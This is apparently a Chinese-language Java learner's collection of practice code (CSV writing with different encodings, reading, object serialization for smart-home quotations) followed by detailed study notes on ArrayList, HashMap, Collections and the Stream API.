 ``` /** * // TODO 1: 创建 File 对象,路径为 "data/quotations.csv" * // 提示:如果 data 目录不存在,用 file.getParentFile().mkdirs() 自动创建 * <p> * // TODO 2: 用 try-with-resources 创建 BufferedWriter * // 提示:new BufferedWriter(new FileWriter(file)) * // 每行格式:编号,项目名称,原始金额,客户姓名 * <p> * // TODO 3: 遍历 quotations,每行写入一条数据 * // 提示:writer.write(字符串); writer.newLine(); */ package cn.com.d99714.smart.practice; import cn.com.d99714.smart.common.Config; import cn.com.d99714.smart.entity.*; import java.io.*; import java.util.ArrayList; public class QuotationFileWriter { private static ArrayList<SmartHomeQuotation> quotations = new ArrayList<>(); public static void main(String[] args) { initData(); // Windows 默认用 GBK,Java 默认用 UTF-8,两边编码不一致。 // 1. 写法一,简单写法,直接用Excel打开CSV文件可能出现乱码 File file = new File("data/quotations.csv"); file.getParentFile().mkdirs(); try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { writeCSV(writer); System.out.println("写入完成!路径:" + file.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } // 2. 写法二,显式"UTF-8"编码格式,直接用Excel打开CSV文件乱码,打开前需要选择编码格式 File fileUTF8 = new File("data/quotations_utf8.csv"); fileUTF8.getParentFile().mkdirs(); try (BufferedWriter writer2 = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fileUTF8), "UTF-8"))) { writeCSV(writer2); System.out.println("写入完成!路径:" + fileUTF8.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } // 3. 写法三,显式"GBK"编码格式,直接用Excel打开CSV文件应该没有乱码 File fileGBK = new File("data/quotations_gbk.csv"); fileGBK.getParentFile().mkdirs(); try (BufferedWriter writer3 = new BufferedWriter( new OutputStreamWriter(new FileOutputStream(fileGBK), "GBK"))) { writeCSV(writer3); System.out.println("写入完成!路径:" + fileGBK.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } // 4. 写法四,要用 UTF-8 且让 Excel 不乱码,需要写 BOM 头(文件开头加特殊标记) File fileUTF8BOM = new File("data/quotations_utf8bom.csv"); fileUTF8BOM.getParentFile().mkdirs(); try (FileOutputStream fos = new FileOutputStream(fileUTF8BOM); BufferedWriter writer4 = new BufferedWriter(new OutputStreamWriter(fos, "UTF-8"))) { fos.write(new byte[]{(byte) 0xEF, (byte) 0xBB, (byte) 0xBF}); // UTF-8 BOM writeCSV(writer4); System.out.println("写入完成!路径:" + fileUTF8BOM.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } } static void writeCSV(BufferedWriter writer) throws IOException{ // TODO 1: 写表头(用逗号分隔) writer.write("项目编号, 项目名称, 客户姓名, 原始金额"); writer.newLine(); for (SmartHomeQuotation q : quotations) { writer.write(q.getQuotationNo() + "," + q.getProjectName() + "," + q.getClient().getName() + "," + q.calcOriginalTotalAmount()); writer.newLine(); // 关键:每条数据换一行 } } static void initData() { // 复用之前的初始化,1-2条就行 // 1. 创建公司用户(商家) Company vendor = new Company("野火智能", "13600305044", "野火智能科技", "上海市徐汇区", "KNX全屋智能"); // 2. 创建个人用户(业主) Person client1 = new Customer("赵今麦", "15138473848", "上海市静安区", 533); Person client2 = new Customer("刘雅瑟", "13915522551", "湖北省武汉市蔡甸区", 725); Person client3 = new Customer("刘亦菲", "13828293839", "北京市海淀区", 725); // 3.1 创建订单 SmartHomeQuotation q1 = new SmartHomeQuotation(); // 3.1.1 设置项目信息 q1.setQuotationNo(Config.QUOTATION_PREFIX + "2026100000-000001"); q1.setQuotationDate("20261009 00:08:19"); q1.setProjectName("赵女士上海国之贸雅居8栋1201"); q1.setClient(client1); q1.setVendor(vendor); // 3.1.2 设置各项金额 q1.setDeviceCost(896000.00); q1.setMaterialCost(481900.00); q1.setInstallCost(210400.00); q1.setDebugCost(92300.00); q1.setOtherCost(59123.00); // 3.1.3 设置各项折扣 q1.setDeviceDiscountRate(1.0); q1.setMaterialDiscountRate(1.0); q1.setInstallDiscountRate(1.0); q1.setDebugDiscountRate(1.0); q1.setOtherDiscountRate(1.0); q1.setTotalDiscountRate(0.93); SmartHomeQuotation q2 = new SmartHomeQuotation(); // 3.2.1 设置项目信息 q2.setQuotationNo(Config.QUOTATION_PREFIX + "2026100000-000002"); q2.setQuotationDate("20261009 00:38:43"); q2.setProjectName("刘女士万科城1期11栋2802"); q2.setClient(client2); q2.setVendor(vendor); // 3.2.2 设置各项金额 q2.setDeviceCost(446710.00); q2.setMaterialCost(285070.00); q2.setInstallCost(94600.00); q2.setDebugCost(43020.00); q2.setOtherCost(11500.00); // 3.2.3 设置各项折扣 q2.setDeviceDiscountRate(1.0); q2.setMaterialDiscountRate(1.0); q2.setInstallDiscountRate(1.0); q2.setDebugDiscountRate(1.0); q2.setOtherDiscountRate(1.0); q2.setTotalDiscountRate(0.96); SmartHomeQuotation q3 = new SmartHomeQuotation(); // 3.2.1 设置项目信息 q3.setQuotationNo(Config.QUOTATION_PREFIX + "2026100000-000003"); q3.setQuotationDate("20261009 01:12:22"); q3.setProjectName("刘女士北京什刹海别野3期15栋"); q3.setClient(client3); q3.setVendor(vendor); // 3.2.2 设置各项金额 q3.setDeviceCost(743250.00); q3.setMaterialCost(453000.00); q3.setInstallCost(230600.00); q3.setDebugCost(86000.00); q3.setOtherCost(54300.00); // 3.2.3 设置各项折扣 q3.setDeviceDiscountRate(1.0); q3.setMaterialDiscountRate(1.0); q3.setInstallDiscountRate(1.0); q3.setDebugDiscountRate(1.0); q3.setOtherDiscountRate(1.0); q3.setTotalDiscountRate(0.97); // 加入列表 quotations.add(q1); quotations.add(q2); quotations.add(q3); } } ```  ``` package cn.com.d99714.smart.practice; import java.io.*; public class QuotationFileReader { public static void main(String[] args) { File file = new File("data/quotations_utf8bom.csv"); if (!file.exists()) { System.out.println("文件不存在"); return; } try (BufferedReader reader = new BufferedReader(new FileReader(file))) { String header = reader.readLine(); System.out.println("表头:" + header); String line; while ((line = reader.readLine()) != null) { String[] parts = line.split(","); double amount = Double.parseDouble(parts[3]); // parts[3]是String不能直接格式化 System.out.println(parts[0] + " | " + parts[1] + " | " + parts[2] + " | " + String.format("¥%,.2f 元", amount)); } } catch (IOException e) { e.printStackTrace(); } } } ```  ``` package cn.com.d99714.smart.practice; import cn.com.d99714.smart.common.Config; import cn.com.d99714.smart.entity.*; import java.io.*; /** * 练习10:对象序列化与反序列化 * 已经对实体类 Person、Company、Customer、Worker、SmartHomeQuotation实现了序列化接口 * implements Serializable { * private static final long serialVersionUID = 1L; */ public class QuotationSerializePractice { public static void main(String[] args) { // TODO 1: 创建一条简单的报价单(不用完整 initData,1条就行) // 1.1 创建公司用户(商家) Company vendor = new Company("野火智能", "13600305044", "野火智能科技", "上海市徐汇区", "KNX全屋智能"); // 1.2 创建个人用户(业主) Person client = new Customer("赵今麦", "15138473848", "上海市静安区", 533); SmartHomeQuotation q = new SmartHomeQuotation(); q.setQuotationNo("Q-SM-TEST-001"); q.setProjectName("测试项目"); // 1.3 设置其他字段 ... q.setClient(client); q.setVendor(vendor); // 1.4 设置各项金额 q.setDeviceCost(896000.00); q.setMaterialCost(481900.00); q.setInstallCost(210400.00); q.setDebugCost(92300.00); q.setOtherCost(59123.00); // 1.5 设置各项折扣 q.setDeviceDiscountRate(1.0); q.setMaterialDiscountRate(1.0); q.setInstallDiscountRate(1.0); q.setDebugDiscountRate(1.0); q.setOtherDiscountRate(1.0); q.setTotalDiscountRate(0.93); File file = new File("data/quotation.obj"); file.getParentFile().mkdirs(); // TODO 2: 序列化写入(ObjectOutputStream) // 提示:try-with-resources,writeObject(q) try(ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file))){ oos.writeObject(q); System.out.println("序列化已完成:" + file.getAbsolutePath()); }catch (IOException e){ e.printStackTrace(); } // TODO 3: 反序列化读取(ObjectInputStream) // 提示:readObject() 返回 Object,需要强转成 SmartHomeQuotation // 打印读取出来的对象,验证和写入的是否一致 try(ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))){ SmartHomeQuotation restored = (SmartHomeQuotation)ois.readObject(); System.out.println("反序列化成功!"); System.out.println("报价编号:" + restored.getQuotationNo()); System.out.println("项目名称:" + restored.getProjectName()); System.out.println("客户名称:" + restored.getClient().getName()); System.out.println("报价单位:" + restored.getVendor().getCompanyName()); System.out.println("原始金额:" + String.format("¥%,.2f 元",restored.calcDiscountedTotalAmount())); }catch (IOException | ClassNotFoundException e){ e.printStackTrace(); } } } ```
企业做流程项目
企业做项目流程: 需求分析=》 设计(概要设计、详细设计)=>技术选型=》初始化/引入需要的技术=》写demo=>写代码(实现业务逻辑)=》测试(单元测试)=》代码提交/代码评审=》部署=》发布
Java 学习笔记 - 集合与 Stream
# Java 学习笔记 - 集合与 Stream --- ## 一、集合框架整体架构 ### 两大分支 ``` Collection 接口(单列集合,存单个元素) ↑ ├─ List 接口(有序、可重复、有下标) │ ├─ ArrayList 实现类 │ └─ LinkedList 实现类 ├─ Set 接口(不可重复) │ ├─ HashSet │ └─ TreeSet └─ Queue / Deque 队列接口 └─ LinkedList 同时实现 List + Deque Map 接口(双列集合,key-value,不属于 Collection) ├─ HashMap 实现类 ├─ TreeMap └─ LinkedHashMap ``` > **Map 不属于 Collection**,是独立分支! > - Collection:存单个对象 > - Map:存键值对(key → value) ### LinkedList 多态引用场景 核心要点:**引用类型决定编译期能调用哪些方法,对象本身具备全部能力。** ```java // 场景1:把 LinkedList 当作普通 List 使用 List<String> list = new LinkedList<>(); // 可调用 List 的 add/get/remove 等方法 // 不能直接调用队列 offer/poll,如需使用要强制转型 // 适合:有序列表,频繁中间增删,不需要队列功能 // 场景2:使用队列、双端队列、栈 Deque<String> deque = new LinkedList<>(); // 可直接调用 offer/poll/push/pop // 不能直接调用 get(index) // 适合:消息排队、栈逻辑、头尾频繁增删 ``` --- ### Collection 分支:抽丝剥茧的继承链 ``` Iterable 接口 ↑ extends Collection 接口 ↑ extends List 接口 ↑ implements AbstractCollection 抽象类 ↑ extends AbstractList 抽象类 ↑ extends ArrayList 实现类 ``` | 层级 | 角色 | 职责 | |------|------|------| | 接口(Iterable/Collection/List) | 立法者 | 定义规范(方法签名),不实现 | | 抽象类(AbstractCollection/AbstractList) | 包工头 | 实现通用逻辑,留下差异化部分 | | 具体类(ArrayList/LinkedList) | 工人 | 完成具体实现 | **为什么这样设计?** 新增一种列表只需要 extends AbstractList,重写几个方法就行。 ### Map 分支:抽丝剥茧的继承链 ``` Map 接口 ↑ implements AbstractMap 抽象类 ↑ extends HashMap 实现类 ``` --- ## 二、ArrayList ### 继承与实现关系 ```java public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, Serializable ``` ### 核心方法表 | 方法 | 作用 | 补充说明 | JDK | |------|------|---------|-----| | `add(E e)` | 末尾添加元素 | 返回 boolean,永远 true | 1.2 | | `add(int index, E element)` | 指定位置插入 | 后面元素全部后移,效率低 | 1.2 | | `get(int index)` | 根据下标获取 | 越界抛 IndexOutOfBoundsException | 1.2 | | `set(int index, E element)` | 修改指定下标元素 | 返回旧值 | 1.2 | | `remove(int index)` | 按下标删除 | 返回被删除元素 | 1.2 | | `remove(Object o)` | 删除匹配的元素(第一个) | 返回 boolean | 1.2 | | `contains(Object o)` | 判断是否包含 | 底层调用 equals() | 1.2 | | `indexOf(Object o)` | 查找首次出现下标 | 找不到返回 -1 | 1.2 | | `lastIndexOf(Object o)` | 查找最后一次出现下标 | 找不到返回 -1 | 1.2 | | `size()` | 获取元素个数 | | 1.2 | | `isEmpty()` | 判断是否为空 | | 1.2 | | `clear()` | 清空全部元素 | | 1.2 | | `sort(Comparator)` | 按比较器排序 | JDK 8+ | 1.8 | ### 经典代码 **三种遍历方式:** ```java // 需要序号 → 用索引 for (int i = 0; i < workers.size(); i++) { System.out.println((i + 1) + ". " + workers.get(i).getName()); } // 纯遍历 → for-each(推荐) for (Worker w : workers) { System.out.println(w.getName()); } // 过滤统计 → Stream workers.stream() .filter(w -> w.getScore() > 4.0) .forEach(w -> System.out.println(w.getName())); ``` **排序:** ```java // 按工龄升序 workers.sort((a, b) -> a.getWorkYear() - b.getWorkYear()); // 按评分降序 workers.sort((a, b) -> Double.compare(b.getScore(), a.getScore())); // 先按工种,再按工龄降序 workers.sort((a, b) -> { int jobCompare = a.getJobType().compareTo(b.getJobType()); if (jobCompare != 0) return jobCompare; return b.getWorkYear() - a.getWorkYear(); }); ``` ### 注意点 1. **面向接口编程**:声明用 `List<String>`,不绑死 `ArrayList<String>` 2. **遍历方式按场景选**:需要序号用 index,纯遍历用 for-each,过滤统计用 Stream ### 常见坑 1. **遍历时直接删除元素 → ConcurrentModificationException** ```java // ❌ 错误 for (Worker w : workers) { if (w.getScore() < 3.0) workers.remove(w); } // ✅ 正确 workers.removeIf(w -> w.getScore() < 3.0); ``` 2. **`remove(Object)` 和 `remove(int)` 重载陷阱** ```java List<Integer> nums = new ArrayList<>(); nums.add(1); nums.add(2); nums.add(3); nums.remove(1); // ❌ 按索引删,删掉的是 2 nums.remove(Integer.valueOf(1)); // ✅ 按对象删,删掉的是 1 ``` 3. **扩容性能消耗**:默认初始容量 10,满了扩容为 1.5 倍 4. **线程不安全**:多线程并发 add/remove 可能丢数据 5. **subList 是原集合视图**:修改 subList 会影响原集合 ### 号外 - **ArrayList vs LinkedList**:ArrayList 查询快 O(1)、中间增删慢;LinkedList 查询慢 O(n)、首尾增删快 - **Vector 已淘汰**:线程安全但已过时,不要用 --- ## 三、HashMap ### 继承与实现关系 ```java public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable ``` ### 核心方法表 | 方法 | 作用 | 补充说明 | JDK | |------|------|---------|-----| | `put(K key, V value)` | 添加/覆盖键值对 | key 重复则覆盖旧 value,返回旧 value | 1.2 | | `get(Object key)` | 根据 key 取值 | key 不存在返回 null | 1.2 | | `getOrDefault(K key, V defaultValue)` | 取值带默认值 | key 不存在返回默认值 | 1.8 | | `remove(Object key)` | 根据 key 删除 | 返回被删除的 value | 1.2 | | `containsKey(Object key)` | 判断是否存在 key | | 1.2 | | `containsValue(Object value)` | 判断是否存在 value | | 1.2 | | `size()` | 获取键值对数量 | | 1.2 | | `isEmpty()` | 判断是否为空 | | 1.2 | | `clear()` | 清空所有键值对 | | 1.2 | | `keySet()` | 获取全部 key 集合 | 返回 `Set<K>` | 1.2 | | `values()` | 获取全部 value 集合 | 返回 `Collection<V>` | 1.2 | | `entrySet()` | 获取全部键值对 | 返回 `Set<Map.Entry<K,V>>` | 1.2 | ### 经典代码 **四种遍历方式:** ```java // entrySet 遍历(最常用,key-value 都要) for (Map.Entry<String, Worker> entry : map.entrySet()) { System.out.println(entry.getKey() + "=" + entry.getValue().getName()); } // keySet 遍历(只要 key) for (String key : map.keySet()) { Worker w = map.get(key); } // values 遍历(只要 value) for (Worker w : map.values()) { System.out.println(w.getName()); } // Lambda forEach map.forEach((k, v) -> System.out.println(k + ":" + v.getName())); ``` **存在性判断(项目规范写法):** ```java public static void findById(String id) { if (!map.containsKey(id)) { System.out.println("不存在:" + id); return; } System.out.println(map.get(id)); } ``` ### 注意点 1. **Map 不属于 Collection**:Collection 存单个元素,Map 存键值对 2. **containsKey 比 `get() != null` 更准确**:value 可能本身就是 null 3. **HashMap 和 ArrayList 互补配合**:ArrayList 有序遍历,HashMap 快速查询 ### 常见坑 1. **自定义对象作为 key,必须重写 `equals()` 和 `hashCode()`** 2. **线程不安全**:并发 put 导致数据混乱,并发场景改用 `ConcurrentHashMap` 3. **无序**:遍历顺序 ≠ 存入顺序,需要顺序用 `LinkedHashMap` 4. **扩容触发 rehash**:元素超过阈值时扩容为 2 倍,所有元素重新计算 hash 位置 ### 号外 - **JDK 8 优化**:链表长度超过 8 且数组长度超过 64 时,链表转为红黑树 - **负载因子默认 0.75**:容量 16 时,元素达到 12 就扩容 - **HashMap vs Hashtable**:Hashtable 线程安全但已废弃,ConcurrentHashMap 是并发首选 --- ## 四、Collections 工具类 > `Collections`(带 s)是工具类,`Collection`(不带 s)是接口。两者完全不同! ### 核心方法表 | 方法 | 作用 | 示例 | |------|------|------| | `sort(List, Comparator)` | 按比较器排序 | `Collections.sort(list, (a,b)->a-b)` | | `sort(List)` | 按自然顺序排序 | `Collections.sort(stringList)` | | `reverse(List)` | 反转列表顺序 | `Collections.reverse(list)` | | `shuffle(List)` | 随机打乱顺序 | `Collections.shuffle(list)` | | `max(Collection, Comparator)` | 取最大值 | `Collections.max(list, comparator)` | | `min(Collection, Comparator)` | 取最小值 | `Collections.min(list, comparator)` | | `frequency(Collection, Object)` | 统计某元素出现次数 | `Collections.frequency(list, "a")` | | `binarySearch(List, Object)` | 二分查找(列表必须先排序)| `Collections.binarySearch(list, key)` | ### 注意点 1. **`Collections.sort()` vs `List.sort()`** ```java Collections.sort(workers, comparator); // JDK 1.2 workers.sort(comparator); // JDK 8,两者等价 ``` 2. **`Collections` 只操作已有集合**,不创建新集合 3. **`sort` 会修改原列表**,不是返回新列表 --- ## 五、Stream API ### 基础规则 ``` 元素 -> 逻辑 ``` - 箭头左边:遍历出来的每一个元素 - 箭头右边:执行逻辑 - **单行表达式**:不用写 return - **大括号 `{}` 多行代码块**:必须写 return ### Stream 操作汇总对比表 | 方法 | Lambda 返回值 | 作用 | |------|--------------|------| | `filter` | **boolean** | 筛选元素,保留 true | | `map` | 任意对象 | 一对一转换元素 | | `mapToInt` | **int** | 元素转为 int,做 sum/average/max/min | | `mapToLong` | **long** | 元素转为 long,做 sum/average/max/min | | `mapToDouble` | **double** | 元素转为 double,做 sum/average/max/min | | `flatMap` | **Stream<R>** | 一对多,扁平化拆集合 | | `sorted` | int(Comparator)| 排序 | | `distinct` | 无 | 去重 | | `groupingBy` | 任意对象(作为 Map 的 key)| 按 key 分组,相同 key 归为一组 | | `partitioningBy` | **boolean** | 真假二分区,只分成两组 | > **核心区别:** > - `filter` 输出 boolean → 决定留不留 > - `mapToXxx` 输出数字 → 做统计运算 > - `map` 输出任意对象 → 元素转换 > - `flatMap` 输出 Stream → 拆内层集合 ### 两大操作类型 | 类型 | 特征 | 例子 | |------|------|------| | **中间操作** | 返回 Stream,可无限链式调用 | `filter()`、`map()`、`sorted()` | | **终结操作** | 返回非 Stream 结果,触发执行 | `forEach()`、`count()`、`sum()`、`collect()` | > **核心规则:没有终结操作,中间操作全部白写!** --- ### `filter` 详解 **作用**:按条件筛选元素,返回 `true` 的保留,返回 `false` 的丢弃。元素本身不变。 **函数式接口**:`Predicate<T>` —— 接收一个对象,返回 `boolean`。 **语法拆分**:`item -> item.getAmount() > 30000` | 部分 | 说明 | |------|------| | `item` | 遍历得到的每个流元素,自定义名字 | | `->` | Lambda 箭头 | | `item.getAmount() > 30000` | 判断逻辑,**必须返回 boolean** | **两种写法:** ```java // 单行简写(不用 return) long count = quotations.stream() .filter(q -> q.calcOriginalTotalAmount() > 30000) .count(); // 大括号多行(必须写 return) .filter(q -> { double amount = q.calcOriginalTotalAmount(); return amount > 30000 && amount < 100000; }) ``` **多个 filter 串联(且关系):** ```java quotations.stream() .filter(q -> q.calcOriginalTotalAmount() > 30000) .filter(q -> q.getTotalDiscountRate() < 0.9) .forEach(q -> System.out.println(q.getSummaryLine())); // 等价于一个 filter 用 && 连接 .filter(q -> q.calcOriginalTotalAmount() > 30000 && q.getTotalDiscountRate() < 0.9) ``` **常见坑:** 1. **Lambda 右边必须返回 boolean**,不能返回 double 或其他类型 ```java .filter(q -> q.getAmount()) // ❌ 返回 double,编译错误 .filter(q -> q.getAmount() > 30000) // ✅ 返回 boolean ``` 2. **filter 不会修改原集合** ```java quotations.stream().filter(...); // quotations 本身没变! ``` 3. **空结果不报错**,只是没有元素进入后续步骤 ```java long count = quotations.stream() .filter(q -> q.getAmount() > 999999999) .count(); // 结果:0,不报错 ``` --- ### `map` 详解 **作用**:一对一映射。流里 1 个元素 → 输出 1 个新元素。Lambda 返回**任意类型**。 **和 `mapToXxx` 区分:** - `mapToXxx` 产出**基础类型流**(IntStream/LongStream/DoubleStream) - 普通 `map` 产出 `Stream<T>`(包装类 / 对象流) **示例:** ```java // 将 Product 转为商品名称字符串 List<String> nameList = productList.stream() .map(p -> p.getName()) .collect(Collectors.toList()); // 多行写法 .map(p -> { String name = p.getName() + "_商品"; return name; }) ``` --- ### `flatMap` 详解 **作用**:一对多 + 扁平化。1 个元素能拆成多个元素,把内层集合"摊开"。 **Lambda 返回**:**Stream 流**(重点!) > 场景:元素里面**包含集合**,需要把里面集合全部拆出来变成一整条流。 **示例:订单里包含多个商品** ```java class Order { private String orderNo; private List<Product> productList; // 一个订单包含多个商品 public List<Product> getProductList() { return productList; } } // 把所有订单里面全部商品提取出来,合并成一个商品流 List<Product> allProducts = orderList.stream() .flatMap(order -> order.getProductList().stream()) .collect(Collectors.toList()); ``` **`map` 和 `flatMap` 直观对比:** | 方法 | Lambda 返回 | 映射关系 | 核心作用 | |------|------------|---------|---------| | `map` | 任意对象 | 一对一 | 元素转换,不拆集合 | | `flatMap` | `Stream<R>` | 一对多 + 扁平化 | 拆内层集合,摊平流 | ```java // map:返回 Stream<List<Product>>,流里放的是一个个 List,没有摊开 // 结构:[List1, List2, List3] orderList.stream() .map(order -> order.getProductList()) // flatMap:返回 Stream<Product>,把 List 拆开,所有商品全部摊平 // 结构:商品1, 商品2, 商品3... orderList.stream() .flatMap(order -> order.getProductList().stream()) ``` **常见坑:** - **flatMap 的 Lambda 必须返回 Stream**,不能直接返回 List! ```java ❌ .flatMap(o -> o.getProductList()) // 返回 List,编译错误 ✅ .flatMap(o -> o.getProductList().stream()) // 返回 Stream ``` --- ### `mapToDouble` 详解 **作用**:把 `Stream<对象>` 转成 `DoubleStream`(基础类型流),才能调用 `sum()`、`average()`、`max()`、`min()` 等数学运算。 **函数式接口**:`ToDoubleFunction<T>` —— 接收一个对象,返回 `double`。 **语法拆分**:`item -> item.getPrice()` | 部分 | 说明 | |------|------| | `item` | 遍历得到的每个流元素 | | `->` | Lambda 箭头 | | `item.getPrice()` | 转换逻辑,**必须返回 double** | **三种基础类型流对比:** | 方法 | 函数式接口 | 返回流类型 | Lambda 返回要求 | |------|-----------|-----------|----------------| | `mapToInt` | `ToIntFunction` | `IntStream` | `int` | | `mapToLong` | `ToLongFunction` | `LongStream` | `long` | | `mapToDouble` | `ToDoubleFunction` | `DoubleStream` | `double` | **示例:** ```java // 提取金额求和 double total = orderList.stream() .mapToDouble(order -> order.getPrice()) .sum(); // 多行写法(打8折) double discountSum = orderList.stream() .mapToDouble(order -> { double originPrice = order.getPrice(); double after = originPrice * 0.8; return after; }) .sum(); // filter + mapToDouble 搭配 double sum = orderList.stream() .filter(order -> order.getPrice() > 100) .mapToDouble(order -> order.getPrice()) .sum(); ``` **DoubleStream 专属终端方法:** | 方法 | 返回类型 | 作用 | |------|---------|------| | `.sum()` | `double` | 求和 | | `.max()` | `OptionalDouble` | 最大值 | | `.min()` | `OptionalDouble` | 最小值 | | `.average()` | `OptionalDouble` | 平均值 | **安全取值(OptionalDouble):** ```java double avg = quotations.stream() .mapToDouble(q -> q.calcOriginalTotalAmount()) .average() .orElse(0); // 如果流为空,返回 0 ``` **基础流转回包装类流:** ```java Stream<Integer> boxedStream = intStream.boxed(); // IntStream → Stream<Integer> ``` **常见坑:** 1. **Lambda 右边必须返回 double**,不能返回 boolean ```java .mapToDouble(q -> q.getAmount() > 30000) // ❌ 返回 boolean,编译错误 .mapToDouble(q -> q.getAmount()) // ✅ 返回 double ``` 2. **mapToDouble 之后得到的是 `DoubleStream`,不是 `Stream<Double>`** - `Stream<Double>` 没有 `sum()` 方法 - `DoubleStream` 才有 `sum()`、`average()` 3. **不会修改原集合元素**,只是读取转换 --- ### `groupingBy` 详解 **作用**:把流中的元素按某个规则分组,装进 `Map` 里。key 是分组标识,value 是每组的汇总结果。 **语法拆分:** ```java Collectors.groupingBy( 元素 -> 分组key, // Function<T, K>:每个元素属于哪一组 Collectors.xxx() // Collector:每组怎么统计 ) ``` **两种用法:** ```java // 用法1:只传分组规则 → 结果是 Map<K, List<T>> Map<String, List<Worker>> byJob = workers.stream() .collect(Collectors.groupingBy(w -> w.getJobType())); // 用法2:分组规则 + 统计方式 → 结果是 Map<K, 统计结果> Map<String, Long> countByJob = workers.stream() .collect(Collectors.groupingBy( w -> w.getJobType(), Collectors.counting() )); ``` **常用统计方式:** | 统计方式 | 每组做什么 | 结果类型 | |---------|-----------|---------| | `Collectors.counting()` | 数有几个 | `Map<K, Long>` | | `Collectors.summingDouble(fn)` | 求和 | `Map<K, Double>` | | `Collectors.averagingDouble(fn)` | 算平均 | `Map<K, Double>` | | `Collectors.toList()` | 收集成列表 | `Map<K, List<T>>` | | `Collectors.maxBy(Comparator)` | 找最大 | `Map<K, Optional<T>>` | | `Collectors.minBy(Comparator)` | 找最小 | `Map<K, Optional<T>>` | **完整示例:** ```java // 按工种分组,统计每类师傅的评分总和 Map<String, Double> sumByJob = workers.stream() .collect(Collectors.groupingBy( w -> w.getJobType(), Collectors.summingDouble(w -> w.getScore()) )); // 按客户类型分组,统计每类有几单 Map<String, Long> countByType = quotations.stream() .collect(Collectors.groupingBy( q -> q.getClient() instanceof Customer ? "业主" : "公司客户", Collectors.counting() )); // 复杂条件分组 Map<String, List<Product>> map = list.stream() .collect(Collectors.groupingBy(p -> { if (p.getPrice() > 1000) return "高价商品"; else return "低价商品"; })); ``` **多字段分组(嵌套 groupingBy):** ```java Map<String, Map<String, List<Worker>>> nested = workers.stream() .collect(Collectors.groupingBy( w -> w.getJobType(), Collectors.groupingBy( w -> w.getScore() > 4.0 ? "高分" : "普通" ) )); // 结果:{布线工={高分=[赵孙钱], 普通=[...]}, 安装工={...}} ``` **常见坑:** 1. **只传一个参数时,结果是 `Map<K, List<T>>`,不是计数!** 2. **groupingBy 的 key 可以为 null**,业务尽量避免 3. **groupingBy 不保证顺序**,需要顺序用 `LinkedHashMap` 4. **collect 是终端操作**,执行后不能继续调用 stream 中间方法 --- ### `partitioningBy` 详解 **作用**:特殊的分组,永远只有 **true / false** 两组,返回 `Map<Boolean, List<元素>>`。适合二分类。 **和 `groupingBy` 对比:** | 方法 | Lambda 返回 | 分组数量 | 返回 Map 的 key | |------|------------|---------|----------------| | `groupingBy` | 任意类型 | 多组(不限) | 自定义对象(String/Integer 等) | | `partitioningBy` | **boolean** | 固定 2 组 | `true` / `false` | **示例:** ```java // 价格大于1000为true,其余false Map<Boolean, List<Product>> partMap = list.stream() .collect(Collectors.partitioningBy(p -> p.getPrice() > 1000)); // 分区 + 统计数量 Map<Boolean, Long> countMap = list.stream() .collect(Collectors.partitioningBy( p -> p.getPrice() > 1000, Collectors.counting() )); // 结果遍历 countMap.forEach((isHigh, num) -> { System.out.println((isHigh ? "高价" : "低价") + ":" + num + "个"); }); ``` --- ### Collectors 详解 `Collectors` 是 Stream 流水线的**"打包车间"**——Stream 负责加工数据,Collectors 负责把加工好的数据装进容器。 **核心打包方式:** | 方法 | 打包结果 | 示例 | |------|---------|------| | `Collectors.toList()` | 装进 ArrayList | `List<String> list = stream.collect(Collectors.toList())` | | `Collectors.toSet()` | 装进 HashSet(去重) | `Set<String> set = stream.collect(Collectors.toSet())` | | `Collectors.toMap(keyFn, valFn)` | 装进 HashMap | `Map<String, Double> map = stream.collect(Collectors.toMap(q -> q.getId(), q -> q.getAmount()))` | | `Collectors.groupingBy(...)` | 按条件分组装 Map | 见上方 groupingBy 详解 | | `Collectors.partitioningBy(...)` | 真假二分区 | 见上方 partitioningBy 详解 | | `Collectors.counting()` | 计数 | `.collect(Collectors.counting())` | | `Collectors.summingDouble(fn)` | 求和 | `.collect(Collectors.summingDouble(q -> q.getAmount()))` | | `Collectors.averagingDouble(fn)` | 平均值 | `.collect(Collectors.averagingDouble(q -> q.getAmount()))` | | `Collectors.joining(",")` | 用逗号拼接字符串 | `stream.collect(Collectors.joining(","))` | **Collectors vs Collections 区分:** | | `Collectors` | `Collections` | |---|---|---| | 给谁用 | Stream 的 `collect()` 方法 | 普通 Collection(List/Set/Map)| | 什么时候用 | Stream 流水线**结尾** | 直接操作**已有**集合 | | 典型用法 | `.collect(Collectors.toList())` | `Collections.sort(list)` | | 本质 | 定义"怎么打包" | 定义"怎么操作" | --- ### `stream().filter().count()` vs `Collections.frequency()` 对比 | 对比项 | `stream().filter().count()` | `Collections.frequency()` | |--------|---------------------------|-------------------------| | **做什么** | 按**任意条件**统计满足的有几个 | 统计某个**具体值**出现了几次 | | **参数** | Lambda 条件(`> < instanceof` 都行) | 一个**精确匹配的对象** | | **比较逻辑** | 你的条件表达式 | 只能用 `equals()` 精确匹配 | | **返回类型** | `long` | `int` | | **适用对象** | Stream 流 | 普通 Collection(List/Set) | | **自定义对象** | ✅ 好用 | ❌ 基本不能用(比的是对象地址) | **场景1:按条件统计 → 用 Stream** ```java long count = quotations.stream() .filter(q -> q.calcOriginalTotalAmount() > 30000) .count(); ``` **场景2:精确匹配某个值出现几次 → 用 Collections.frequency** ```java List<String> names = Arrays.asList("赵孙钱", "钱多多", "赵孙钱", "李四海"); int times = Collections.frequency(names, "赵孙钱"); // 结果:2 ``` --- ### Stream 常见坑汇总 1. **Stream 中间操作不会修改原集合,只是读取。** ```java quotations.stream().sorted(...); // quotations 本身顺序不变 ``` 2. **没有终结操作,中间操作不执行(惰性求值)。** ```java quotations.stream().filter(q -> { System.out.println("过滤"); return true; }); // ❌ 没有任何打印 ``` 3. **Stream 只能消费一次。** ```java Stream<SmartHomeQuotation> s = quotations.stream(); s.forEach(...); // 第一次消费 s.forEach(...); // ❌ 报错:stream has already been operated upon ``` 4. **collect 是终端操作**,执行后不能继续调用 stream 中间方法。 ```java list.stream().collect(Collectors.toList()).stream().filter(...); // 要先 collect,再重新 stream() 